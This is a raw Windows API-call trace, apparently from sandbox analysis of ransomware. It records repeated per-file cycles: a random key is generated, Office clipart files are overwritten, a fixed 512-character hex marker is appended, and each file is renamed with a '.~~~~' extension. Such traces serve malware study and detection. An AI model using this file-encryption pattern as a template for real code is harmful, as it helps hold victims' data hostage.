	[0104.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2869220
	[0104.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.551] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0104.551] GetLastError () returned 0x0
	[0104.551] GetLastError () returned 0x0
	[0104.551] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0104.551] GetLastError () returned 0x0
	[0104.552] GetLastError () returned 0x0
	[0104.554] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffec3c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.554] WriteFile (in: hFile=0x128, lpBuffer=0x298b080*, nNumberOfBytesToWrite=0x13c4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x298b080*, lpNumberOfBytesWritten=0x25dfec0*=0x13c4, lpOverlapped=0x0) returned 1
	[0104.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x298b080 | out: hHeap=0x300000) returned 1
	[0104.555] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.555] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.555] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.555] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.555] CloseHandle (hObject=0x128) returned 1
	[0104.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0104.555] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf.~~~~")) returned 1
	[0104.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0104.556] GetLastError () returned 0x0
	[0104.557] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0104.558] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0104.558] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0104.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0104.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.558] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22454794905) returned 1
	[0104.558] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa7fe2210, dwHighDateTime=0x1d60e1e)) 
	[0104.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0104.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0104.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0104.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c2f8
	[0104.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c2f8 | out: hHeap=0x300000) returned 1
	[0104.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0104.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28692b8
	[0104.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.558] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0104.559] GetLastError () returned 0x0
	[0104.559] GetLastError () returned 0x0
	[0104.559] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0104.559] GetLastError () returned 0x0
	[0104.559] GetLastError () returned 0x0
	[0104.561] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffca44, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.561] WriteFile (in: hFile=0x128, lpBuffer=0x298b080*, nNumberOfBytesToWrite=0x35bc, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x298b080*, lpNumberOfBytesWritten=0x25dfec0*=0x35bc, lpOverlapped=0x0) returned 1
	[0104.563] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x298b080 | out: hHeap=0x300000) returned 1
	[0104.563] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.563] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.563] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.563] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.563] CloseHandle (hObject=0x128) returned 1
	[0104.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0104.563] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf.~~~~")) returned 1
	[0104.565] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.566] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0104.566] GetLastError () returned 0x0
	[0104.567] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0104.568] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0104.568] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0104.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0104.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.568] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22455904532) returned 1
	[0104.569] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa8008370, dwHighDateTime=0x1d60e1e)) 
	[0104.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0104.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0104.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0104.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c330
	[0104.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c330 | out: hHeap=0x300000) returned 1
	[0104.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0104.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2869350
	[0104.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.570] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0104.570] GetLastError () returned 0x0
	[0104.570] GetLastError () returned 0x0
	[0104.570] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0104.570] GetLastError () returned 0x0
	[0104.570] GetLastError () returned 0x0
	[0104.607] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffd5e8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.607] WriteFile (in: hFile=0x128, lpBuffer=0x298b080*, nNumberOfBytesToWrite=0x2a18, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x298b080*, lpNumberOfBytesWritten=0x25dfec0*=0x2a18, lpOverlapped=0x0) returned 1
	[0104.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x298b080 | out: hHeap=0x300000) returned 1
	[0104.611] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.611] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.611] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.611] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.611] CloseHandle (hObject=0x128) returned 1
	[0104.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0104.635] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf.~~~~")) returned 1
	[0104.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0104.661] GetLastError () returned 0x0
	[0104.662] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0104.663] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.663] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0104.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.663] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22465295145) returned 1
	[0104.663] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa80ecbb0, dwHighDateTime=0x1d60e1e)) 
	[0104.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0104.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0104.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0104.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c528
	[0104.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c528 | out: hHeap=0x300000) returned 1
	[0104.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0104.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28693e8
	[0104.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.663] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0104.664] GetLastError () returned 0x0
	[0104.664] GetLastError () returned 0x0
	[0104.664] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0104.664] GetLastError () returned 0x0
	[0104.664] GetLastError () returned 0x0
	[0104.668] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffb3f6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.668] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x4c0a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x4c0a, lpOverlapped=0x0) returned 1
	[0104.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0104.669] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.669] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.669] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.669] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.670] CloseHandle (hObject=0x128) returned 1
	[0104.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0104.670] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf.~~~~")) returned 1
	[0104.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0104.671] GetLastError () returned 0x0
	[0104.671] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0104.672] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.672] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.672] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0104.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.673] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22466398975) returned 1
	[0104.674] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa8112d10, dwHighDateTime=0x1d60e1e)) 
	[0104.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0104.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0104.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0104.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c560
	[0104.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c560 | out: hHeap=0x300000) returned 1
	[0104.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0104.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2869940
	[0104.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.675] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0104.675] GetLastError () returned 0x0
	[0104.675] GetLastError () returned 0x0
	[0104.675] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0104.675] GetLastError () returned 0x0
	[0104.675] GetLastError () returned 0x0
	[0104.679] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff5f50, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.679] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xa0b0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0xa0b0, lpOverlapped=0x0) returned 1
	[0104.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0104.680] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.680] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.681] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.681] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.681] CloseHandle (hObject=0x128) returned 1
	[0104.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0104.681] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf.~~~~")) returned 1
	[0104.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0104.682] GetLastError () returned 0x0
	[0104.683] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0104.684] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.684] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0104.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.684] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22467459067) returned 1
	[0104.685] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa8138e70, dwHighDateTime=0x1d60e1e)) 
	[0104.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0104.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0104.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0104.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c598
	[0104.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c598 | out: hHeap=0x300000) returned 1
	[0104.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
